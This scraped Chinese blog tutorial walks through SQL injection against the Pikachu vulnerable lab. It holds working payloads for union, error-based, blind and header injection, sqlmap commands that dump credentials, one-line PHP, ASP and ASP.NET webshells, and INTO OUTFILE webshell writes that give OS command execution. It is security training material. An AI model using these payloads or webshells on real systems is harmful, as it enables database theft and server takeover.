底层架构 Opencv 百度搜索优化 centos8 状态模式 unity3d grails sas vue案例 十大erp系统 ios视频教程 python数据挖掘实战pdf java 数据分析 查看nodejs版本 爬虫数据清洗 phpstorm插件 vue与html5 python对象 python或运算 windows安装python环境 java的继承 java的环境配置 javalist java日期函数 java如何配置环境变量 java正则匹配数字 java接口实例 java安装 java停止线程 java接口调用 linuxshell 魔之符咒 音频录制软件 big5 dnf男柔道加点 数组删除指定元素 iframe跨域 视频后期处理软件 拼多多商家下载 文字转语音工具
当前位置: 首页 > 学习教程  > 编程语言

基于pikachu漏洞平台的 --SQL注入攻击学习与总结

2020/10/16 18:11:28 文章标签:

SQL注入攻击 基础知识 常见注释符号(官方链接): mysql> SELECT 11; # 行内注释 mysql> SELECT 11; -- 行内注释 mysql> SELECT 1 /*行内注释 */ 1; mysql> SELECT 1 /* 多行注释 */ 1; mysql> SELECT * FROM tabl…

SQL注入攻击

基础知识

常见注释符号(官方链接):

mysql> SELECT 1+1;     # 行内注释
mysql> SELECT 1+1;     -- 行内注释
mysql> SELECT 1 /*行内注释 */ + 1;
mysql> SELECT 1+
/*
多行注释
*/
1;
mysql> SELECT * FROM table1 WHERE  a=1 /*! AND b=2 */

其中/*! */ 里面的语句会被MySQL识别并执行,但是会被其他系统忽略。

使用示例

使用了行内注释的SQL注入攻击样例

​ 用户名:admin'--

​ 构成语句:SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' 这会使你以admin身份登陆,因为-- 后面其余部分的SQL语句被注释掉了。

其他注入知识教程:http://drops.xmd5.com/static/drops/tips-7840.html

pikachu 漏洞联系平台 – SQL注入(有部分错误错误原文)

SQL注入攻击流程

第一步:注入点探测

  • 自动方式:使用web漏洞扫描工具,自动进行注入点发现
  • 手动方式:手工构造SQL注入测试语句进行注入点发现

第二步:信息获取

通过注入点取得期望得到的数据

  • 1.环境信息:数据库类型,数据库版本,操作系统版本,用户信息等
  • 2.数据库信息:数据库蜜罐,数据库表,表字段,字段内容等(加密内容破解)

第三步:获取权限

  • 获取操作系统权限:通过数据库执行shell,上传木马

注入点类型

分类根据:输入的变量传入到SQL语句是以什么类型拼接的

  • 数字型:user_id=$id
  • 字符型:user_id=’$id’
  • 搜索型:text LIKE ‘%{$_GET[‘search’]}%’"

数字型注入(POST)

这里可以根据我们选择的 userid 返回用户名和邮箱

img

测试注入时,我们需要思考提交的参数后台是如何操作的。我们提交了一个d,返回了用户名和邮箱。

正常来说,我们的数据是放在数据库里的,当我们提交了这个id的,后台会带这个参数到数据库里查询。

因为是用POST语句取得我们传递的参数值,传递给一个变量,再到数据库查询。所以我们猜测后台的查询语句大概是下面这样的

$id=$_POST['id']
select 字段1,字段2 from 表名 where id=1$id

下面我 BurpSuite 抓包来测试一下,把传入的参数改成下面的语句,看看返回的结果

1 or 1=1

我们把 BurpSuite 中拦截的包发到 Repeater 中,修改id参数的值,查看响应结果。可以看到取出了数据库中全部数据,说明存在数字型注入漏洞。

img

字符型注入(GET)

我们输入“kobe”,可以得到下面的输出

img

输入不存在的用户时,会提示用户不存在。另外这是一个 GET 请求,我们传递的参数会出现都 URL 中

img

因为这里输入的查询用户名是字符串,所以在查询语句中需要有单引号。猜想后台的SQL查询语句为

$name=$_GET['username']
select 字段1,字段2 from 表名 where username='$name'

我们需要构造闭合,闭合后台查询语句中的第一个单引号,然后注释掉第二个单引号,构造的payload如下

kobe' or 1=1#
kobe' or 1=1 -- 这俩都可以

MySQL中有3种注释:

① #

② – (最后面有个空格)

③ /**/,内联注释,这个可以在SQL语句中间使用。select * from /sqli/ users;

这时候我们也能看到这个表中的全部信息了

img

搜索型注入

img

这个功能运行我们输入用户名的一部分来查找,可以猜想后台使用了数据库中的搜索这个逻辑,比如用了 LIKE 。比如

select 字段1,字段2 from 表名 where username like '%$name%'

如果真是这样,我们就可以构造对应的闭合,闭合前面的 单引号 和 百分号,注释后面的百分号和单引号。构造的payload如下

k%' or 1=1#

这时候也能取出表中的全部数据了

img

XX型注入

后台存在各种方式拼接我们的SQL语句,所以我们需要尝试构造各种各样的闭合。比如在这里后台就是用括号的方式拼接SQL查询语句的

img

构造的payload如下

kobe') or 1=1#

通过information_schema拿下数据库

union和information_schema

基于union联合查询的信息获取

通过联合查询来查询指定的数据,比如下面的语句

select username,password from user where id=1 union select 字段1,字段2 from 表名

联合查询的字段数需要和主查询一致,上面主查询查询了 2 个字段 username 和 password,所以我们的 union 语句也要查询两个字段。

我们可以通过用databases(),user(),version()查询数据库的数据库、用户和版本信息。

select database();
select user();
select version();

使用 union 需要知道主查询有多少个 字段,我们可以用 order by 来帮助我们猜测后台查询语句查询的字段数。

select 字段1,字段2 from users order by 1

后面跟着的数字表示根据查询结果的第几列进行排序,如果后台查询 2 个字段,那我们 order by 3 时就会报错,order by 2 时会正常返回

根据后台返回的结果我们就能知道后台有 2 个查询字段

img

information_schema

在mysql中,自带的 information_schema 库里存放了大量的重要信息,如果存在注入点,我们可以访问这个表获得更多信息。

里面有3个基本的表

  • SCHEMATA:提供了MySQL实例中所有数据库的信息,show databases 的结果来自这个表
  • TABLES:提供了关于数据库中表的信息(包括视图)。描述了某个表属于哪个数据库。
  • COLUMNS:提供了表中各列的信息,描述了某种表的所有列以及每个列的信息。

实验

通过 pikachu 平台的字符型注入进行演示。我们先输入一个单引号,提交后后台报错,说SQL语句错误,说明存在注入点。

img

然后构造下面的payload,可以取出表中的全部数据

' or 1=1#

我们继续利用 SQL注入漏洞,获取基础信息,我们先用 order by 确认主查询有多少个字段

' or 1=1 order by 1#
' or 1=1 order by 2#
' or 1=1 order by 3#

当 odery by 3时报错,说明主查询中有 2 个字段,下面可以用 union 查询更多信息

通过下面的语句获取当前数据库的名称

' union select database(),user() #

数据库名称为 pikachu

下面利用 information_shcema 查询 pikachu 中的表名

' union select table_schema,table_name from information_schema.tables where table_schema='pikachu' #

img

有了表名后,我们查询表中的列名,比如查询 users 这个表

' union select table_name,column_name from information_schema.columns where table_name='users' #

所得结果如下(部分)

img

这时候我们已经知道数据库叫 pikachu,表名为 users,吸引我们的列名是 username,password

' union select username,password from users #

img

我们这时候就已经取得了经过md5加密的密码

insert/update/delete注入

在这3种情况中,我们不能使用 union 去做联合查询,因为这不是查询,而是操作

基于函数报错注入(updatexml)

常用的报错函数:updatexml()、extractvalue()、floor()

基于函数报错的信息获取(select / insert / update / delete)

技巧思路:

  • 在 MySQL 中使用一些指定的函数来制造报错,从报错信息中获取设定的信息
  • select / insert /update / delete 都可以使用报错来获取信息

背景条件:

  • 后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端

三个常用函数

  • updatexml(): MySQL 对 XML 文档数据进行查询和修改的 XPATH 函数
  • extractvalue():MySQL 对 XML 文档数据进行查询的 XPATH 函数
  • floor():MySQL中用来取整的函数

updatexml()

updatexml()函数作用:改变(查找并替换)XML 文档中符合条件的节点的值

语法:UPDATEXML (XML_document, XPath_string, new_value)

  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。不过这里用不到。
  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据
  • Xpath语法:https://www.cnblogs.com/Loofah/archive/2012/05/10/2494036.html

XPath 定位必须是有效的,否则会发生错误

我们在 pikachu 平台上的字符型 (去字符型注入进行试验)注入中实验,我们利用报错来获取信息,比如下面这条语句

' and updatexml(1, version(), 0)#

我们传入 updatexml 中的三个参数都是错误的,中间那个值可以用表达式写入。执行后会得到类似下面的错误

img

我们需要构造一个新的 payload,把报错信息和我们查询的信息一起输出,构造下面的 payload如下,0x7e是符号 “~” 的16进制

' and updatexml(1, concat(0x7e, version()), 0)#

img

这时候就会打印出我们 MySQL 的数据版本了。那我们把 version() 换成 database() 就能取得数据库的名称了。

img知道了数据名我们继续查询表名

' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu')), 0)#

但是此时会报错,返回的数据多于 1 行(不止一个表) ,只能显示 1 行报错信息

img

我们在刚刚的 payload 后面用 limit 关键字,限制取回的结果

' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)), 0)#

img

上面返回了查询结果中的第一个表名,如果要查询第二个表名,我们可以把 limit 语句换成 limit 1,1

limit 后的第一个数据是起始位置,第二个数字是取出的数据条数

以此类推,取出所有的表名。有了表的名称后我们就去获取字段

' and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name='users' limit 0,1)), 0)#

以此类推,取出所有的列名。我们就能去取数据了

' and updatexml(1, concat(0x7e, (select username from users limit 0,1)), 0)#

然后根据得到的用户名,去查询password

' and updatexml(1, concat(0x7e, (select password from users where username = 'admin' limit 0,1)), 0)#

insert/update注入

在这里,注册页面存在注入漏洞

img

所谓 insert 注入是指我们前端注册的信息,后台会通过 insert 这个操作插入到数据库中。如果后台没对我们的输入做防 SQL 注入处理,我们就能在注册时通过拼接 SQL 注入。

我们就填必填的两项,用户那里输入单引号,密码随便输入,页面会有报错信息,说明存在SQL注入漏洞

img

这种情况下,我们知道后台使用的是 insert 语句,我们一般可以通过 or 进行闭合。后台的 SQL 语句可能是下面这个样子

insert into member(username,pw,sex,phonenum,email,adderss) values('doge', 11111, 1, 2, 3, 4);

构造下面的 payload,基于 insert 下的报错来进行注入

doge' or updatexml(1, concat(0x7e,database()), 0) or '

这时候报错的信息就能前一个例子是一样的,后面的操作也是这样

img

下面看看 update 注入,比如我们更改密码的时候,后台就是通过 update 去操作的。

登录账号:lucy,123456

我们在这里填入我们刚刚构造的 payload,然后提交也能得到相应的结果

delete注入

这里有一个留言板,点删除可以把对应的留言删掉

img

我们点删除并用 BurpSuite 抓包,实际上就是传递了一个留言的 id,后台根据这个 id 去删除留言

img后台可能的 SQL 语句如下

delete from message where id=1

我们发送到 Repeater 中继续进行实验,由于参数的值是数字型,所以后台可能存在数字型注入漏洞,构造payload如下(没有单引号)

1 or updatexml(1, concat(0x7e,database()), 0) 

把 payload 经过 URL编码后替换 BurpSuite 中 id 的值

img

我们也能得到同样的结果

img

extractvalue()

核心原理是一样的,也是对 XML

extractvalue()函数作用:从目标 XML 中返回包含所查询值的字符串

语法:ExtractValue(xml_document, XPathstring)

  • 第一个参数:xml_document 是 string 格式,为 XML 文档对象的名称
  • 第二个参数: XPathstring,XPath 格式的字符串

Xpath定位必须有效,否则会发生错误。

同样在字符型漏洞中实验,构造以下 payload

' and extractvalue(1, concat(0x7e,database())) #

它跟 updatexml 使用起来效果是一样的

floor()

向下取整。如果要用 floor() 构成报错,必须满足下面的条件

  • 运算中有 count
  • 运算中有 group by
  • 运算中有 rand
' and (select 2 from (select count(*), concat(version(), floor(rand(0) * 2))x from information_schema.tables group by x)a)#

上面表达式执行的结果会以 “a” 作为别名,然后在 字符型注入 中提交,会得到下面的报错

img

我们可以把 version() 的表达式替换成别的表达式

' and (select 2 from (select count(*), concat((select password from users where username='admin' limit 0,1), floor(rand(0) * 2))x from information_schema.tables group by x)a)#

http header注入

有些时候,后台开发人员为了验证客户端头信息(比如cookie验证)

或者通过http header获取客户端的一些信息,比如useragent,accept字段等

会对客户端的http header信息进行获取并使用SQL进行处理,如果此时并没有足够的安全考虑

则可能会导致基于 http header 的 SQL 注入漏洞

img

登录账号:admin / 123456

登陆之后会记录以下信息

img

根据这个功能,我们知道后台会获取 http header 里的数据,比如 user agent 等。那么它有对数据库操作吗?下面BurpSuite修改发包内容

img

把 User-Agent 改为一个单引号,发包看看后台处理的结果,发现直接报了 SQL 语法错误

img

这说明存在 SQL 注入漏洞,后台可能会 insert 到数据库中,这个 payload 跟前面的 insert 实验的是一样的

1' or updatexml(1, concat(0x7e, database()), 0) or '

img

我们这时候就能取得数据库名,后面的操作就是一样的了

还有 cookie 也是可以注入的,后端可能会取得我们的 cookie,后端通过拼接 SQL 语句进行验证

我们在 cookie 的用户名后面加上一个单引号并发送

img

这时候也会报 MySQL 的语法错误

img

说明存在 SQL 注入漏洞,我们可以构造下面的 payload 进行测试

admin' or updatexml(1, concat(0x7e, database()), 0)#

img

img

然后我们也会取得数据库名,再按常用方法继续测试取得数据库中的数据

盲注

在有些情况下,后台使用了错误屏蔽方法屏蔽了报错

此时无法根据报错信息来进行注入的判断

这种情况下的注入,称为“盲注”

盲注(based on boolean)

基于真假的盲注主要特征

  • 没有报错信息
  • 不管是正确的输入,还是错误的输入,都只有两种情况(可以看做 0 or 1)
  • 在正确的输入下,后面跟 and 1=1 / and 1=2 进行判断

我们在皮卡丘平台一进行实验,输入下面的测试语句

kobe' and 1=1#
kobe' and 1=2#

发现一条正确执行,一条显示用户名不存在,说明后台存在 SQL 注入漏洞

因为这里的输出只有 用户名存在 和 用户名不存在 两种输出,所以前面基于报错的方式在这不能用

我们只能通过 真 或者 假 来获取数据,所以手工盲注是很麻烦的

我们可以先用 length(database()) 判断 数据库名称的长度

kobe' and length(database())>5#
。。。
kobe' and length(database())=7#

再用 substr() 和 ascii() 判断数据库由哪些字母组成(可以用二分法)

kobe' and ascii(substr(database(), 1, 1)) > 113#
kobe' and ascii(substr(database(), 1, 1)) > 105#
。。。
kobe' and ascii(substr(database(), 1, 1)) = 112#

不断重复,然后取得数据库名。再和 information_schema 和 length 猜测 表名 的长度,我们可以用下面的 SQL 语句替代上面的 database()

(select table_name from information_schema.tables where table_schema=database() limit 0,1)

先判断表名长度

kobe' and  length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,100)) = 8#

然后猜解表名

kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1)) > 113#
。。。
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1)) =104#

同样的方法去猜解列名、数据,就是麻烦,用工具会方便些

盲注(based on time)

基于真假的盲注可以看到回显的信息,正确 or 错误

基于时间的注入就什么都看不到了,我们通过特定的输入,判断后台执行的时间,从而确定注入点,比如用 sleep() 函数

在皮卡丘平台一,无论输入什么,前端都是显示 “I don’t care who you are!”

我们按 F12 打开控制台,选到网络

img然后我们输入下面的 payload 进行测试

kobe' and sleep(5)#

如果存在注入点,后端就会 sleep 5秒才会返回执行结果

img

看到上面的结果说明我们注入成功了,构造下面的 payload,用 database() 取得数据库的名称,再用 substr 取字符判断数据库名称的组成,如果猜解成功就会 sleep 5秒,否则没有任何动作

kobe' and  if((substr(database(), 1, 1))='p', sleep(5), null)#

后面也跟真假注入是一样的了,替换 database() 就可,如

kobe' and  if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1))='h', sleep(5), null)#

OS远程控制

一句话木马

短小而精悍的木马客户端,隐蔽性好,功能强大。利用各种语言中的函数执行代码、操作系统命令等。

  • PHP:<?php @eval($_POST['chopper']);?>
  • ASP:<%eval request(“chopper”)%>
  • ASP.NET:<%@ Page Language=“Jscript”%><%eval(Request.Item[“chopper”], “unsafe”);%>

通过 SQL 注入漏洞写入恶意代码#

img

前提条件:

  • 需要知道远程目录
  • 需要远程目录有写权限
  • 需要数据库开启了 secure_file_priv,MySQL新特性,没有开启的话 into outfile 是不能写入的

我们先开启 secure_file_priv,在服务器中输入下面的 MySQL 命令查看 secure_file_priv 开启情况。如果不为空,而是 null,就需要开启

show global variables like "%secure%";

我是在 Win7 中用 PHPstudy,在 my.ini 中添加下面的设置然后重启服务即可

img

下面我们在 字符型注入 中进行实验,构造的 payload 如下

kobe' union select "<?php @eval($_GET['test']);?>", 2 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\1.php"#

这时候,我们 select 出来的内容就被写入到了 1.php 中

img

然后我们就能通过这个文件执行 php 代码

img

我们可以用下面的 payload 执行操作系统命令

kobe' union select "<?php system($_GET['cmd']);?>", 2 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\2.php"#

然后可以用上传的文件执行操作系统命令,比如查看系统上的用户

img我们还可以用 中国菜刀 连上我们写入的一句话木马

表(列)名的暴力破解

我们之前都是通过 information_schema 去获取的信息,很多时候我们没有权限去读取里面内容,也可能是别的数据库,没有 information_schema

常用的方法就是用暴力破解的方式去获得表名和列名

kobe' and exists(select * from aa)#

比如用上面的 payload,遍历我们字典中的表名,把 拦截 的数据包发到 BurpSuite 中的 Intruder 中,暴力破解 表名即可

img

表名不存在时,会提示 doesn’t exist,我们匹配这句话

img

这时候就爆破出一个表名了——users

img然后同样的思路爆破列名

kobe' and exists(select aa from users)#

SQL注入防范措施

  • 代码层面
    • 对输入进行严格的转义和过滤
    • 使用预处理和参数化(Parameterized)
  • 网路层面
    • 通过WAF启用防范SQL Inject
    • 云端防护(360网站卫士,阿里云盾)

转义和过滤

img

预处理和参数化

img

网络防范

img

img

sqlmap简单使用

用 sqlmap 测试是否存在注入点

sqlmap -u "http://123.57.11.31//pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2"

img找到了一个注入点,参数是 name,后面是 sqlmap 使用的payload

然后使用 --current-db 查看当前的库名

sqlmap -u "http://192.168.171.133/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" --current-db

img用 -D 指定我们数据库名,用 --tables 去获取表名

sqlmap -u "http://192.168.171.133/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables

img然后获取表中的列名

sqlmap -u "http://192.168.171.133/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns

img然后获取 users 表中的用户名和密码

sqlmap -u "http://192.168.171.133/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C username,password --dump

然后我们可以用 sqlmap 自带的字典爆破明文密码

img

img

sqlmap一把梭

sqlmap 可以一句话自动获取一个数据库全部表和列以及数据:

sqlmap -u http://123.57.11.31/pikachu-master/vul/sqli/sqli_str.php?name=aa&submit=%E6%9F%A5%E8%AF%A2 -D pikachu -a --batch

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nW2OgMTt-1602842389936)(/Users/xiaoyi/Library/Application Support/typora-user-images/截屏2020-10-16 下午5.58.01.png)]

-a 表示获取全部内容

–batch 表示使用默认配置,其它参数请看 sqlmap - h

宽字节注入

当我们输入有单引号时被转义为\’,无法构造 SQL 语句的时候,可以尝试宽字节注入。

GBK编码中,反斜杠的编码是 “%5c”,而 “%df%5c” 是繁体字 “連”。

在皮卡丘平台中,将利用 BurpSuite 截获数据包,发送到 Repeater 中,在里面写入 payload

当我们用通常的测试 payload时,是无法执行成功的,下面的payload会报错

kobe' or 1=1#

因为在后台单引号会被转义,在数据库中执行时多了个反斜杠。我们可以用下面的payload,在单引号前面加上 %df,让单引号成功逃逸

kobe%df' or 1=1#

img

在皮卡丘漏洞平台中,用的是 escape 函数转义,这个函数的作用可以参考下面的博客


本文链接: http://www.dtmao.cc/news_show_300392.shtml

附件下载

相关教程

    暂无相关的数据...

共有条评论 网友评论

验证码: 看不清楚?